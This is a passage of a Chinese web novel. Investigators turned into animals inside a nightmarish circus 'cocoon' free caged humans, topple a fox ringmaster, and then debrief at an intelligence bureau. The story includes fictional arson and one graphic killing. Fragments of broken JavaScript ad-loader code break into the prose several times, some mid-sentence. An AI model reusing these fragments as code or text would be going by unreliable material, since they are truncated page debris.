正当秦温阳刚搞清楚传送带的运作机制时,老虎的声音打断了她的沉思。 “你以前不是进来过吗?怎么还看入迷了。”老虎也不在意秦温阳的回答,就给秦温阳布置接下来的工作:“你看着他,我去将人取出来。” 老虎的头往锻造炉的左边点了点了,便叼起挂在墙上的钥匙,往远处的铁笼走去。 这时秦温阳才发现锻造炉的左边有三根被染成红色的透明软管往外延伸,循着软管延续的方向看去,秦温阳惊讶地发现软管的另一头是一个正垂着头屈膝坐在地上的人。 他被关在铁笼里,三根软管分别深深地扎在他的左手,右手以及头顶上。秦温阳看到他的手上被软管刺破的血肉已经溃烂,脓液与鲜血混在一起,缓慢地滴落到地上。 秦温阳觉得他应该与树皮人不同,大概真的是一个血肉丰满的人。 他此时也发现了正在观察他的秦温阳,黑沉沉的眼睛没有任何情绪,直直地盯着秦温阳。 正当秦温阳思索要如何与他沟通时,他的脚往旁边移动,露出脚底下的纸条。 此时老虎还在背对着秦温阳,往地下室的另一端走去。秦温阳无声地靠近笼子里的男人,伸出爪子将纸条撩出来,含进嘴里。 男人见秦温阳藏好纸条后,就向秦温阳轻轻地点头,头顶的软管伴随着他的动作脱落了。刚好被正领着一个树皮人回头的老虎看见。 它马上丢下身后的树皮人,猛冲至男人的笼子前,冲他咆哮:“把管子插回去!” 尽管男人听不懂老虎说的话,但也明白自己做错了,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 紧不慢地自行将管子插回头上。 但男人的自觉并没有抚平老虎的怒火:“你再乱动我就把你扔进炉子里。” 男人对老虎的咆哮声无动于衷,依然面无表情地看着盛怒的老虎。 在一旁的秦温阳将嘴里的纸团送到一旁,装作很好奇的模样:“副团,这人还能扔炉子里的吗?” “当然。这炉子什么都能熔。”老虎怒气未消地说道,秦温阳怀疑它下一秒能干得出把她和男人一起打包扔进炉子里。 她也不再触老虎的霉头,领着新鲜的树皮人向老虎告辞后就离开了地下室。 秦温阳先树皮人几步走出地下室,眼疾手快地将嘴里的纸条塞进箱子底下,再和树皮人一起走上二楼,也就是她往常训练的地方。 待她身后的树皮人站定后,秦温阳回头绕向他的身后,往他的脖子扑去,将其扑倒后,她的爪子往树皮人的后颈狠狠拍去。 树皮人没有什么反抗就晕了过去。 秦温阳自然不可能为开心人戏团卖命工作的。将树皮人扔在二楼后,她往楼上走去。据说四楼是红狐狸的办公室。 从三楼往上走,在楼梯拐角处,还剩最后一段楼梯即可到达四楼时,秦温阳听到楼上传来的脚步声,以及鸟类扑腾翅膀的声音。 权衡片刻后,秦温阳决定还是先不要惊动楼上的动物。她转身回到楼下,拖着昏迷不醒的树皮人回到地下室。 秦温阳再次踏入地下室时,老虎正往炉子里添加木柴,它听到脚步声回过头,就看到不知死活的树皮人和一脸想早点下班的秦温阳。 “你能不能悠着点用他们?每次都是没两下就弄废一个。”老虎语气里尽是怨怼。 秦温阳放下嘴里的树皮人,无辜地歪歪头。在老虎厌烦的目光中,退出地下室。 离开前,她看到老虎不耐烦地将树皮人扔进炉子里,就像它刚刚扔柴火一样。 回到一楼,秦温阳专注地听着楼外的动静,确定猫头鹰飞过后,默数100个数,就走出楼外。 刚往外走没两步,她回头看向这栋楼的楼顶。月光下,烟囱中有白天从没见过的黑烟袅袅升起。 随后她隐入黑夜里,朝园区的西南边走去。 20. 开心人戏团(11) 时望回到帐篷时,看到一只大白兔正在月光下和自己的影子玩得有来有回。 听到帐篷被踩踏时发出的沙沙声,宋况停下正扒拉胡子的爪子,扭头发现刚回到的时望,眼睛顿时亮了起来:“望姐,你那边怎么样啦?” 时望对这个新称呼还不太适应,轻轻点头:“还算顺利,等秦温阳回来一起说吧。” 听到时望这边进展顺利,宋况乐呵呵地点头:“嘿嘿顺利就好。” 时望看着眼前傻乐的大白兔,想起第一次见到宋况时,她背着被鲜血染红的小白兔背包。 “我之前去情报局看到你受伤挺严重的,你进来这个茧的时候伤势怎么样了?” 距离上次见到宋况,现实里时间刚过去三四天,时望猜测宋况大概是在负伤工作。 大白兔深红的眼睛茫然地眨了好几下,还是想不起来自己什么时候受过伤了:“啊?我什么时候受伤了?” 时望也眨巴了一下眼睛:“我上次还见到齐旬儒的头也受伤了。” 宋况终于和时望对齐了信息:“你说的是那次啊!” “你放心,我没事,那些血全是齐旬儒的。” 时望:? 她觉得她放心不下。 宋况看到时望有点惊讶的表情,简单解释了一下当时的情况:“上一个茧齐旬儒被眷者骗去肉身挡炸弹了,我去救的他,扶他出来的时候沾到的。” “望姐你真的可以放心!进来这个茧之前逐意姐已经帮他治好了。”随后,宋况又想起齐旬儒目前为止对破解开心人戏团毫无贡献,甚至称得上拖后腿的表现,说到:“但逐意姐好像忘记把他脑子里的水放出来了。” 时望选择无视宋况最后一句的个人主观输出,抓住两个全新的字眼:“眷者?” 这时宋况想起时望才进入茧原没多久:“就是和祂王八看绿豆对上眼的人类信徒,反正不是什么好东西。” 然后看到也是豆豆眼的时望,赶紧找补:“望姐,我不是说你哈。” 时望:……宋况不补上这么一句,她还真不会想多。 总而言之,眷者又是祂的搞的鬼。 想起秦温阳在开心表演时的嘱咐,时望暂且把这个“祂”放到一边。帐篷内静默了一瞬。 宋况可不是一个能忍受寂静的人,方才那一番让她想起江宜透露过时望拒绝加入情报局,不禁惋惜:“望姐你这么厉害,不加入情报局,那以后情报局就全是齐旬儒这种大蠢蛋和我这种小蠢蛋了。” “唉,改叫蠢蛋局得了。” 时望:…… 为了骂齐旬儒不惜把自己也给骂了。 “你当初为什么加入情报局呢?”时望不着痕迹地将话题转移到宋况身上。 “钱多啊。多到我再也不用仰人鼻息活着了。”宋况耸肩,一脸理所当然的样子。 时望察觉到宋况的话里有不少未尽之意与伤心之事,反应过来自己转移的话题不是什么好话题。 正当时望想再发起轻松一点的话题时,帐篷的门帘被撩起,发出了布料摩擦的声音。 时望与宋况一同往帐篷的门看去,一头叼着纸条的狮子从外面进来了。 宋况雀跃地小声喊道:“温阳姐!” 秦温阳点点头,将嘴里的纸条放到地上,简单地描述了她在南边的楼里的所见所闻。 听完秦温阳的讲述后,三人一起展开纸条察看内容。 纸条上没有字,只有几幅简笔画,画里的动物有两个圆加上两竖表示的小鸟,一个圆加上两个长方形表示的兔子,一个圆加上一排三角形尖牙表示的狮子和一个圆加大三角表示的狐狸。 还有一群简笔画的火柴人。 时望的脚趾敲击着地面,深感人和动物之间的交流真是朴实无华。 宋况率先翻译简笔画的内容:“我明白了!小鸟叼着个什么东西给到我,我用这个东西去找人类,然后带着人类去支援温阳姐,一起打倒狐狸。所以我们的特别行动就是篡位!” 秦温阳点点头,对宋况的猜测表示肯定:“小鸟叼着的应该是钥匙,也就是说老虎外出时会带走钥匙。” “那就是只能在动员会时行动。”时望接上秦温阳的话。 老虎必然会离开地下室的时间只有早上的动员会和晚上的演出。而时望需要在展演厅放火作为信号,就不能在随时都会有人发现起火的演出时间。 时望对于秦温阳口中扎着管子的人类有点好奇,便询问秦温阳:“你觉得那个人类是什么身份?” “不确定是敌是友。”秦温阳保留意见。 时望闻言轻轻点头,宋况则有点不理解:“他都肯帮我们了,还不是好人吗?” 秦温阳和时望齐声回答:“他的动机不明。” 话落,狮子和乌龟对视一眼,时望就让更熟悉宋况的秦温阳去解释。 “即使我们打倒了狐狸,他的处境也不会有什么好转。留下来,他无法与这里视人类为玩物的动物相处。走出去,他就要面对未知的森林。” 宋况听懂了,顺着秦温阳的思路思考了一下,忽地笑出了声:“我要是那个人类,我就带着一群树皮人拥护自己当团长,把欺负过我的员工全开了。想想就爽!” 秦温阳和时望罕见地没接宋况的话,并两脸凝重地看着宋况,宋况不好意思地问:“是我说错什么了吗?” 时望发现宋况的直觉是有两把刷子的,天生的趋福避祸。 --- 天空由浓黑变为深蓝,月光清浅时,帐篷里激烈的讨论声逐渐平息。 秦温阳总结讨论的结果:“就按照时望说的去做吧。” “你们俩都要记住,优先保护好自己。”秦温阳即将走出帐篷时,轻声嘱咐宋况与时望二人。 看到宋况和时望点头后,她就离开了。 宋况还在帐篷里闭目养神,等待合适的时机。临近猫头鹰下一次巡逻到园区的西南边时,时望轻轻摇醒宋况,示意时间到了。 醒神后,宋况也离开了时望的帐篷,朝乌鸦的树屋处走去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到达乌鸦栖息的树下后,宋况使劲地踹了好几脚树,晃得乌鸦以为地震了,匆匆忙忙地从树屋里出来。 乌鸦睡眼惺忪,明显被惊扰了睡眠。它往树下看去,见到宋况时,马上就清醒了。 “乌鸦小姐,我来和你商量一下特别行动的事情。”宋况丝毫没有扰鸟清梦的歉意,理直气壮地继续骚扰乌鸦。 闻言乌鸦并没有马上从树上下来,而是犹疑地问:“一定要现在说吗?” 它还没决定好要怎么选,但大白兔说完后,它就再也没得选了。乌鸦的脑海里,闪过在园长办公室时的场景。 红狐狸向乌鸦逐步逼近:“如果背叛者接触你,你不帮我把背叛者连根揪出,你以及你的后代永远都会被园区驱逐。反之,你帮我抓到所有背叛者的话,你将成为开心人戏团的高层,永远在祂的庇护下,吃喝不愁。” “你要做的也只是装成这个长得和你很像的八哥而已,不难吧。”红狐狸指向办公桌旁被打晕的八哥,笑得极具诱惑:“乌鸦小姐,你没忘了你为了应聘园区的工作,付出过多少努力吧。” 它至今还没想好要不要向园长暴露自己接触过背叛者。 “乌鸦小姐?”宋况等得有点不耐烦了,直接冲着树上的乌鸦说:“待会儿的动员会开始时,我们就要行动了。” 乌鸦实在没想到特别行动会开始得这么急,它权衡再三,还是飞下了树。 它回不了头了。 “兔子小姐,待会儿的特别行动都有谁参加?我要做什么?”乌鸦仰视着大白兔,急切地问道。 宋况看着乌鸦急不可耐的样子,不由地心生厌恶。 “动员会一片混乱的时候,你去偷老虎身上的钥匙,送到地下室给我。”宋况说完就要转身离开。 “兔子小姐!动员会为什么会混乱啊?另外两个背叛者是谁啊!”乌鸦看到宋况要走,赶紧拦下。 宋况对它的呼喊充耳不闻,留下一句:“你待会儿就知道了。”就飞快地离开了这里。 乌鸦见大白兔没有说出任何其它背叛者相关的有用信息,一阵懊恼,不禁打起了退堂鼓。 可不可以假装它从不知道大白兔是叛徒? 乌鸦很快就想到了唯一的答案:不可以。 它已经知道了部分特别行动,无论事情怎么发展,它伪装叛徒的事都会暴露的。 再次想明白这是一条无法回头的路之后,乌鸦朝南边的大楼飞去。 然而乌鸦刚飞出没多久,就被一颗不知从哪飞出来的石子打中,突如其来的痛意让乌鸦叫出了声。 这一声喊叫打破了凌晨的静谧,也吸引到刚刚巡逻到附近的猫头鹰。 “乌鸦!你在这里干什么!”在一片振翅声中,传来猫头鹰严厉的问话。 “我,我不是……我只是要去找园长!”乌鸦慌不择言地解释自己为何凌晨出现在这里。 猫头鹰紧盯着乌鸦,似乎要穿过乌鸦胸膛的皮肤看穿它的心思:“巧了,我也要去园长。” 21. 开心人戏团(12) 时望干完坏事后,就在帐篷中休息至天色乍明。此时猫头鹰已经结束了巡逻,过不久鸡就要打鸣了。 乌鸦被猫头鹰带走后,就再也没回来过。 时望掀开帐篷的卷帘门,凝视乌鸦居住的树屋片刻后,转身向北边走去。 到达展演厅大门后,时望将那两桶油放倒,油尽数流出,浸润随意放在荒地上的易燃杂物。 随后她站起身,取下挂在大门右边的火把,随意地扔到油桶里。在残留的工业油的助燃下,油桶内的火苗马上就形成熊熊烈火。 为了不让浓烟过早被发现,时望还用油桶的盖子虚掩一半的桶口。 油桶比较厚,完全烧穿大致也要十几分钟。油桶内的火扩散至外面时,也要几分钟才能发展到被远处的人发现。 时望做完这一切后,便悠哉游哉地往中央广场走去,刚站定,就听到了三声鸡鸣。 宋况与秦温阳到达广场时,时望摇了三下尾巴,表明已经顺利完成第一环节。 跟昨天一样,所有员工差不多到齐后,红狐狸就开始了每日的员工动员会。 红狐狸依旧是先宣布今天的最差劲员工:“截至刚才为止,有一名员工被投诉了。” 时望发现红狐狸的话与昨天略有不同,昨天的投诉数量统计是截至前一天为止,而今天的则是截至刚才为止。 “兔子魔术师被游客投诉,表演内容千篇一律,每天都是相同的魔术,毫无新意。共收到5位游客的投诉。” 时望猜测到红狐狸可能会做票,但没想到它居然敢做得这么明目张胆。兔子大概只获得了三四张喜爱票,它就将投诉拉到将近持平。 “兔子魔术师累积获得3张喜爱票,所以共计获得2次投诉!所以动员会完毕后,兔子魔术师将会被逐出园区!” “此外,昨晚猫头鹰女士抓到大象清洁园区时盗窃其它员工的物品,大象已被当场驱逐出园区!” 时望不着痕迹地扫视广场,没找到大象的身影,这验证了她一直以来的猜测。 投诉的事实不会变,但红狐狸可以在动员会上扭曲投诉数据。事实上,先前大象踩死蚂蚁一家,是被蚂蚁所属蚁巢联名投诉了24次。而八哥只被蟒蛇投诉了1次。 为了让八哥合理消失,红狐狸在动员会上将大象的投诉转移到八哥身上。实际上,八哥还在园区里,而作为获得最多投诉的大象还是会被逐出园区。 宋况在台下听到这个结果,没有一丝惊讶与难过。 因为这个动员会将永远无法结束。 红狐狸向台下的大白兔看去,发现大白兔丝毫不慌张。它似是不满般撇了撇嘴,然后将视线转移到坐立不安的乌鸦上。 “乌鸦昨晚私自外……”红狐狸的话还没讲完,就被黑熊一声尖叫打断了。 “起火了!起火了!” 浓烟自北边扩散至中央广场,隐约可见火光闪烁,体感温度都略有提高了。 广场上的员工们瞬间混乱起来,有害怕的,有好奇的,有手足无措的。秦温阳看准时机,趁乱喊道:“大家快去灭火啊!” 所有员工得到不知哪来的命令后,就都往北边跑去,准备从展演厅里接水灭火。时望、宋况与秦温阳也混在其中。 只是时望和宋况从北边趁乱绕开从东边前往南边的大楼,时望就在一楼门边趴下,而宋况则前往地下室等待她的同伴将钥匙送到她手上。 时望等了没多久,就等到了她的目标——乌鸦。 乌鸦叼着钥匙进入南边的大楼,应该是要将嘴里的假钥匙送给宋况。 它刚一进门,就看到了门边的时望,它的眼睛微微睁大,瞳孔收缩,惊讶到叼着的钥匙都掉到地上了。 “乌龟小姐,你……你也是背,背叛者?”乌鸦颤抖着声音问。 时望没回答它的问题,漫不经心地笑着问:“乌鸦小姐,听说你昨晚被猫头鹰女士抓住了?” 乌鸦此时才想起,凌晨时能做到在那个位置向自己扔石头的动物只有这只大乌龟,它生气地质问时望:“你!就是你扔的石头!是不是!” “是又怎么样,不是又怎么样。”时望歪了歪头,似是不明白乌鸦怎么会问出这个问题。 “你为园长以身犯险,但仅仅因为你夜晚外出,被猫头鹰抓到,就成为了不忠的员工,所以怪我?”时望凑近已落地的乌鸦,轻笑道:“乌鸦小姐,你不会以为红狐狸还信任你吧?” “或者说,你有什么证据证明你不是背叛者呢?” 乌鸦的喙紧紧合着,一言不发。今早被猫头鹰压着去红狐狸办公室时,猫头鹰力证乌鸦就是不忠的员工,要求以巡逻者的身份投诉乌鸦,红狐狸并没有反驳。 红狐狸只是向乌鸦承诺,今天动员会上公布的最差劲员工只会是大白兔。 但明天的最差劲员工很可能就会是乌鸦了。 所以,乌龟说的话,它根本无法反驳。 时望看到乌鸦的表情骤变,就明白自己猜对了。 “你知道红狐狸可以在动员会上对投诉数据撒谎吗?但也仅限于撒谎而已。”时望轻声提醒乌鸦。 也就是说获得猫头鹰投诉的乌鸦实际上是本日的最差劲员工,即使红狐狸对数据造假了,乌鸦待会儿还是要被逐出园区。 乌鸦不敢置信地看着时望:“你说的是真的?” 时望撇撇嘴:“随便你信不信。” 乌鸦低着头,流露出颓败的气息,一鸟一龟之间彻底安静了。 直到时望都快要放弃继续从乌鸦这里拿到信息时,乌鸦说话了。 “你们需要我做什么?” 时望清楚乌鸦的心理防线彻底被击溃了,迅速说出需求:“你知不知道八哥还有钥匙在哪里?。” 乌鸦今早开会前一直和红狐狸呆在一起商量对策,它也许会知道红狐狸临时会将钥匙藏到哪里了。 “它的办公室的书柜后。”乌鸦低声说,“你们成功了的话,放我一条生路吧。” 时望点点头,就直奔四楼而去。 红狐狸的办公室没锁门,时望乍一眼看过去,就只有一张办公桌,一张办公椅和一个大书柜。 一根鸟毛都没看见。 时望往书柜走去,发现书柜右边的地面灰尘肉眼可见地比左边的地面要少,便走到书柜的左边,使劲将书柜往右边推。 推开了。 书柜后面有一个小房间,小房间里有一个八哥,正在鸟笼里睡得正香,鸟笼旁就有一串钥匙,还有一个黑盒子。 时望见过这个黑盒子,开心表演时老虎就驮着这个黑盒子走到红狐狸面前,红狐狸会从中取出黄金心脏权杖。 时望先是一爪子拍向鸟笼,将笼子里的八哥晃醒:“齐旬儒,醒醒!” 八哥没有睁开眼,迷迷糊糊地说:“我再睡会儿。拜托了,让我再睡会儿。” “你小心秦温阳骂你。”时望恐吓齐旬儒。宋况最多会嘴一下人而已,真论可怕,估计还得是秦温阳这种人发火。 “秦……秦什么!”齐旬儒猛地张开眼,暗红的眼睛慌张地东张西望,然后看到了一只大乌龟。 “你是谁?你怎么会在这里?组长和宋况呢?现在是什么情况?”齐旬儒问出一连串问题。 时望现在没时间搭理它,只是把一串钥匙递进笼子里:“你咬着这个,待会儿扔下去给宋况。” 齐旬儒急切地问到:“为什么?宋况在哪啊?为什么要我扔下去?” 时望没管它,而是打开黑盒子,将冰凉的黄金心脏从权杖上拔下来。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 随后时望叼着鸟笼,要求齐旬儒的喙伸出鸟笼外,叼着黄金心脏,向窗台走去。 爬上窗之后,时望纵身一跃两个前爪扒住低垂的屋檐,抓住屋檐后在空中晃了几下,吓得齐旬儒一只会飞的鸟吱哇乱叫。然后时望利用两个前腿的力量将整个身体吊上屋顶。 整个身体都上了屋檐后,时望往烟囱跑去,并将鸟笼放到烟囱边上,对齐旬儒说:“你把钥匙扔下去,宋况在下面等着。” 到这地步了,齐旬儒只好按照时望的吩咐,将钥匙从鸟笼里踢了出去。 钥匙从烟囱直直落下,最后落到锻造炉厚重的灰烬里,被一直守着锻造炉的宋况发现了。 此时的锻造炉里的火熄灭已久,只有这些还残留着温热的灰烬显示昨晚这个锻造炉是有在工作的。 宋况取出灰烬里的一大串钥匙,将所有笼子挨个打开。放出所有的树皮人之后,宋况拿着最后一根钥匙去打开男人的铁笼。 男人一直没说过话,看到宋况来打开笼子时,也只是挑挑眉。 男人走出笼子,重获自由时,黑沉沉的眼睛终于恢复了一点光彩,他看着大白兔,等待着它带路。 而宋况先是朝锻造炉里放了许多柴火,然后取下地下室墙边的火把,往锻造炉里扔。 男人不明白宋况为什么要点燃锻造炉,不过也不打算阻止它。 完成点火后,宋况就领着一群树皮人和一个人走出地下室,直奔中央广场支援秦温阳。 秦温阳负责拖着红狐狸老虎等动物,防止他们回到南边的楼里干扰时望和宋况。 然而宋况领着一群人轰轰烈烈地到达现场时,再次感慨这个特别行动简陋的规划。 她一直都很奇怪为什么要带一群人去支援组长,她从没见过还有组长打不过的人。 比如现在,只见一只狮子站立在横七竖八倒了一大片的动物之间,秦温阳的脚下还踩着红狐狸的头。 宋况一下子都不知道该支援谁了。 红狐狸见宋况领着一群人到达,明白大势已去,叹了一口气说:“我输了。” 它看着秦温阳和宋况说:“我自认从没亏待过你们,开心马戏团可以给你们,但留我一条命吧。” 话音刚落,男人走向被踩着的红狐狸,两个手指用力地插向红狐狸的眼睛,在红狐狸的尖叫中,他推开本就没太用力踩头的秦温阳的脚,拿起旁边的石头一下又一下地砸向它的头。 直到红狐狸的头再也看不出原来的形状。 刚站起身,他就拿起石头猛地扑倒了宋况,其它树皮人则重重围住了秦温阳。 形势急剧变化之中,宋况还有空吐槽,这些人怎么老是欺负一些看起来弱势的人。这个男的不敢去惹秦温阳,就来扑她。 宋况的手中一把长剑逐渐成型,然而还没等长剑刺向男人,广场上的众人与动物忽然听到了一声极其难听的鸟叫声。 众人及动物循声望去,只见一只乌龟和一只笼子里的八哥站在翻涌出阵阵黑烟的烟囱旁,乌龟嘴里叼着一只黄金心脏,正缓慢地爬上烟囱。 男人看懂了乌龟想做什么,当下顾不得宋况,立马大喊:“不!” 时望怎么可能会搭理他,她的上半身爬上烟囱后,脖子探入到浓烟里,松开了嘴。 男人见到从浓烟里出来的时望嘴里已经没有了黄金心脏,明白自己前功尽弃,一下子瘫坐在地上,眼睛再次失去光彩。 与此同时,时望、秦温阳、宋况与齐旬儒四人眼里的场景扭曲。 失重感传来时,时望感觉到浓烈的被窥视感,她强忍场景扭曲带来的恶心感,试图寻找谁在偷窥自己。 谁都没找到。 但时望再次看见眼前一个大茧上缠绕的丝线缓缓掉落,逐渐崩塌。 22. 回到现实 黑暗之中,窥视的目光有如一张细密的网将时望包裹,拉着她往遥远的光明处坠落。 不知坠落了多久,时望的视野忽然被浅淡的红色所充斥,她下意识地皱了皱眉。 “崽?醒了吗?” 一道温柔的女声将时望的意识从混沌中拉出来。 时望缓缓地睁开眼。 眼前正有一个穿着校服的学生骑着自行车路过公厕,阳光落到改装的后视镜上,被反射成刺眼的光芒。 刚刚应该是这道光闪到时望的眼睛了。 时望感觉到自己的头正靠着一个温暖的东西,抬起头向身旁看去。 是陈卓清。 时望回到现实了。 陈卓清见时望醒来,关切地问:“望宝,你还好吗?” 时望揉了揉眉心,短睡过后太阳穴处的闷痛稍稍缓解。 “我这是……睡着了?” 陈卓清点头:“我从洗手间出来,就看到你靠着椅背睡着了,你睡了半个多小时了。” 时望心里计算了一下时间,这次茧里的时间流速和上一个茧差不多。 “你怎么不叫醒我?” “今天你的脸色一直都不太好,我以为你没休息好,就没叫你。”陈卓清还是有点担心时望,“要不你先回家休息,咱改天再看特展?” 时望摇头:“卓清,我没事。” 随后,时望站起身,活动了一下修长的手指,摊开手掌任由枝叶缝隙里漏下的阳光照在她的手心上。 阳光耀眼且炽热。 时望轻轻地吐出一口气,向还坐在长椅上的陈卓清伸出手:“走吧,我们去看特展。” --- 时望向来对自己定位明确。比如她很清楚她去博物馆看展向来是看个热闹,与狗看星星无异。 从博物馆出来时,已是下午三点多。时望和陈卓清在回程的地铁上回味刚才的展览。 陈卓清语气略显激动:“最后的那个雕塑!” 时望有点好奇拥有一身艺术细菌的陈卓清能赏析出什么。 “好漂亮啊!” 很直白且接地气的评价。 时望轻笑着点点头:“嗯我也这么觉得。” 就这么一逗一捧间,两人到了需要分别的地铁站。临别前,陈卓清还不忘嘱咐时望。 “你回家后记得好好休息,你的脸色真的好差的。” 时望连声应好,和陈卓清挥手道别后,走出地铁站,坐上了朝她家反方向驶去的车。 再次到达同和街道办事处二楼极具混搭风格的大门前,还没等时望走进去,门里就有人出来迎接她了。 是江宜。 “很遗憾再次见到你,时小姐。”江宜挑眉,嘴角带着调侃的笑意。 时望假作无奈地叹气:“是啊,太遗憾了。” 江宜领着时望走进门,看到办公室还是像上次一样空空如也,时望问:“他们呢?” 茧都崩塌了,不出意外的话,秦温阳他们应该是和时望一起出来了。 “在会议室等你呢。”江宜指向上次和时望谈话的会议室,“温阳希望你能一起参加这个茧的报告会议。” 时望感觉报告会议这四个字透露着一股浓烈的班味,走向会议室的步伐都慢了不少:“报告会议?需要我做什么?” 江宜敏锐地察觉到时望的抗拒,连忙解释:“只是复盘茧里的经历而已,只需要你补充部分信息就好。” 走到会议室门前,江宜为时望推开门。 会议室里已经坐着三个人,坐在主位的是秦温阳,她的脸色还是苍白得没有一丝血色,她专注地看着笔电的屏幕,手指在键盘上飞舞,。 用蝴蝶结头绳扎着两根麻花辫的宋况坐在秦温阳的左边,正低头刷着手机。 最先发现时望和江宜的是坐在距离秦温阳最远的位置上的男生,他看到时望这张新面孔,问道:“江宜姐,这位是?” 还没等江宜回答,秦温阳与宋况都抬头看向会议室门口。 “望姐!你来啦!”宋况对时望的到来表示热烈欢迎,笑得眉眼弯弯。 秦温阳则点头致意,首次在人形的状态下介绍自己:“秦温阳,情报局行动组组长。” 宋况这才想起她还没向时望正式自我介绍:“望姐望姐,我是宋况,加入行动组两个月了!” 坐得比较远的男生也跟着介绍自己:“我是齐旬儒,来情报局一年了。” 宋况听到齐旬儒的自我介绍,见缝插针地嘲讽:“都不敢说自己是行动组的人,看来你也知道你自己丢脸吧。” 齐旬儒的耳朵瞬间变红,他低着头没再说话。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江宜打断这种不友好的氛围,试图给时望留下一个好印象。 “这位是时望,她就是前几天独自扫了一个茧的大佬。” 江宜说完略带夸张的煽动言辞后,宋况就很捧场地使劲鼓掌,秦温阳与齐旬儒紧跟其后一起鼓掌。 时望朝他们点了一下头,简单地介绍自己:“我是时望,进入过两个茧。” 随后,时望在秦温阳右边的位置上坐下。江宜站在时望身旁,问在场的人:“你们都想喝什么?” 话音刚落,秦温阳和宋况齐声说:“喝茶!”,齐旬儒则随意地说:“我都可以。” 江宜看向时望:“最终结果参考贵客的意见,时小姐你想喝什么?” 在宋况的灼灼目光下,没什么特别喜好的时望点点头:“喝茶就好。” 江宜点头:“那就喝茶,刚好头儿待会儿也要过来听一下。” 说完,江宜转身出去准备泡茶。 时望问:“江宜说的头儿是她的上级吗?” 宋况积极地回答:“头儿是我们的代理局长孟甫言。” “你不用紧张,孟局人很好的!” 这时,齐旬儒插话道:“请问,你是去救我的乌龟吗?” 时望看着眼前羞赧的男生,和她印象中胆小的八哥逐渐重合。 “是的。” 齐旬儒正想道谢时,宋况没放过这个可以怼他的机会:“你一只八哥,要乌龟带着上屋顶,你羞不羞。” 齐旬儒低头,嗫嚅道:“对不起。” 宋况没继续乘胜追击,而是将视线移回时望身上:“望姐,你现实里可比乌龟长得好看多了。” 时望:…… 没感觉自己被夸到。 就在这时,有人进入会议室,清冷沉稳的声线自带威严。 “我看到小江又鬼鬼祟祟地去拿茶叶了,人都到齐了是吧。” 一个绑着低马尾的中年女人正低着头看手中的文件,简约的服饰不挡她的精明干练。大抵是看到文件里有不合理的地方,她的眉峰隆起,快速地在文件上做标记。 随后她抬头看向会议桌旁的众人。 孟甫言的视线停在时望的位置,她愣了一下,轻微颔首:“你好,我是孟甫言。” “特殊事务情报局的代理局长。” 23. 八哥历险记 江宜捧着不锈钢电水壶进入会议室,在孟甫言的注视下,给在座的每个人倒茶。江宜面不改色地给一脸平静的顶头上司倒茶时,水流平缓倒至八分满。 孟甫言还向江宜道了谢。 时望不禁感慨,真是和谐友好的情报局。 只是倒完茶之后的江宜坐到了离孟甫言最远的位置上,坐下后就在敲键盘,头都没再抬起来过。 秦温阳喝了一口茶后,放下茶杯,向孟甫言点头致意:“人都到齐了,那我们开始吧。” 江宜也进入了工作状态,首先汇报开心人戏团相关信息:“开心人戏团,纯恶意茧,坐标E108S48,茧内危险评级C,混浊等级A,综合评级B。” “秦温阳,宋况,齐旬儒,时望四人于11:28分进入茧内,茧于12:04分崩塌,历时36分钟。其中前三人为主动接触茧进入,时望是被动进入。” 江宜从电脑屏幕中抬起头,朝秦温阳点点头:“我的初步汇报完毕。” 秦温阳说:“了解,接下来由参与者进行汇报。” 然后她看向齐旬儒:“完全没联系过同伴就能出茧的旬儒,你先来吧。”她顿了顿,弯起嘴角,笑意不达眼底:“我最好奇你的经历了。” 孟甫言见到秦温阳这般反应,也朝齐旬儒投去探究的眼光。 齐旬儒的脸和耳朵“腾”一下就全红了,他起身朝着秦温阳鞠了一躬,久久没有直起身来。 “对不起,给大家添麻烦了。”齐旬儒低着头说。 秦温阳嘴角的弧度彻底平了:“讲正事吧,别整些没用的。” 此时的宋况都没有趁机去嘲一下齐旬儒,时望低着头,手指抚摸着茶杯。之前她唤醒齐旬儒时,用的就是“秦温阳要骂人”这一理由,还真是歪打正着了。 齐旬儒抿了抿嘴角,自知自己是拖后腿了,缓缓说出他在茧里的经历。 时望听完都不得不感慨一句,即使情报局真变成蠢蛋局,应该也会蠢蛋有蠢福的。 事情是这样的。 齐旬儒进入开心人戏团时,正站在大门的栏杆上迎宾。在他还没完全反应过来他是谁,他在哪时,就看到一条漆黑的蟒蛇冲着他过来。 蛇是他此生最害怕的动物,没有之一。 他的大脑瞬时一片空白,完全忘记了这是在茧里,而不是现实。尖叫的同时,下意识挥动翅膀,意外发现自己居然还会飞。 更害怕了。 因为他恐高。 地上有蟒蛇,呆在半空中又害怕,当时的齐旬儒挥翅膀硬是挥出了和翅膀完全不熟的感觉。 然后他就被不知从哪出来的老虎给吼晕了。 再醒过来时,他在一个鸟笼里,眼前是那头老虎和一只红狐狸。它俩发现齐旬儒醒来后,红狐狸手上拿着一张纸条,走到鸟笼前。 “特别行动?0209?正义终将胜利?我亲爱的八哥先生。”红狐狸似笑非笑地对齐旬儒说,“说吧,你们想干什么?另外三个是谁?” 说实话,齐旬儒知道的东西不比红狐狸多。 他真情实感地发出疑问:“啊?” 红狐狸也没生气,而是将脸凑得更近:“别装了,你供出另外三个叛徒,我可以不驱逐你。” 齐旬儒还是两眼清澈:“啊?” 红狐狸看着他嘴硬的样子,终究是笑不出来了:“你说不说!不说我马上把你扔到森林里,你也是从森林里进来的,那里有多难以生存你自己心里有数。” 齐旬儒一点数都没有。 八哥保持缄默的样子终是彻底激怒了红狐狸:“不说是吧。不说你就等着你和你的三个同伴暴尸森林!” 齐旬儒小时候看电视剧时,会觉得很奇怪,有些人被敌方抓走审讯时,死活不透露己方相关信息,是真的高风亮节,还是真的不知道。 比如现在,红狐狸再怎么审他也审不出个屁来。 红狐狸将八哥的一脸茫然理解为无所畏惧,即使它已经是气急攻心,但又不能当场杀了它。 这样就彻底失去叛徒相关的线索了。 红狐狸干脆眼不见心不烦,将八哥关进了书柜后的小房间。小房间除了有一个黑盒子外,就什么都没有了。 失去契约纸的齐旬儒很担心组长和宋况,但在小房间里,实在找不到任何线索,他无聊到睡着了。 